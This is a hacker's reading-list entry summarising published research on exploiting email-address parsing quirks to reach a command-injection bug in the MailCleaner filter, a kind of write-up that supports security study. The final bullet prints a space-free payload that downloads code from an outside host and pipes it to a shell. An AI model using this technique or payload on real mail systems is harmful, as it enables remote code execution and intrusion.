Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Beyond the @ Symbol: Exploiting the Flexibility of Email Addresses For Offensive Purposes- 1442

modzeroPosted 1 Year Ago
  • MailCleaner is an email filtering service. An email address has two parts: the local and the domain, which are separated by an @ symbol.
  • The domain part typically contains letters, numbers, hyphens and periods. The local part is more-so up to interpretation though. Typically, these allow for A-Za-z0-9!#$%&'*+-/=?^_`{|}~. However, when using a double quote on the local part, it becomes more lenient, according to the RFC. Hence, this can allow for weird characters: "(),:;<>@[\.
  • By putting it in quotes, many systems will parse it differently. New characters are allowed or username splitting for commas. Why does this all matter? One mail server may understand an email differently than other implementations. Hence, we may be able to trick a system to do unintended things.
  • Sub addressing on emails allows them to extend the basic email address into something more using the + sign. This allows for easy filtering and it's super nice. It's interesting because information after the plus may be ignored or dropped.
  • While looking into MailCleaner, they noticed a call to system for cleaning up file entries. The domain_entry variable on the call came from a file path glob. By chance, the emails were being added into files! This is awesome; we now have a command injection point. In particular, using the double quotes gives us bad characters for command injection.
  • There is a problem though: this code was only hittable by a malicious recipient address with a high spam score. This means that both MailCleaner and itself and the target mail server had to find the email as valid to hit this code. Obviously, the capability to register an arbitrary mailbox was too big of an ask.
  • They decided to target Gmail and Outlook mail providers. They decided to use the sub-addresses functionality in order to exploit this. Sadly, neither of them were compliant to the specification and didn't allow simple command injection allows, which gave them the restricted set of characters +&|`${}#*. In this, there is no space character and everything was lower cased, preventing the usage of ENV variables.
  • In the Dash documentation, there is a feature called parameter expansion. This provides substring functionality. The idea was to extract a space from another command and use that, which then stores the data into an environment variable called a. After executing a command that ended in a particular fashion, we could get those characters. Then, ${a##*d} would return the ending, including a space!
  • The final payload ends up being a=`df|tac`&&curl${a##*d}.modzero.com|sh, where the space is for the spot between the items in curl. They had created a reverse shell that was completely compliant to the RFC, without spaces. That's pretty amazing! As a plus, they got a stored XSS on the email address on the senders email via the extra double quoted characters.